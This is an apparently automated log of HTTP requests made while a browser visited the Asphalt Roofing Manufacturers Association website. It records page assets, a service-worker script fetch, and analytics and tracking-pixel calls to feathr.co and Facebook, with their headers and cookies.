Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/AdobeStock_104683960-500x500.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/postcard-150x150.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884048476 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/about-arma/join/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884048509 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884049993&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: not-navigation-source, trigger, event-sourceReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /contact-us/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884049993&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/contact-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/contact-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/jquery-validate/jquery.validate.min.js?ver=1.11.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/contact-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/masked-input-plugin/jquery.maskedinput.min.js?ver=1.3.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/contact-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
Source: global traffic	HTTP traffic detected: GET /maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884053263 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884053772&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884054772 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/contact-us/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884053772&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
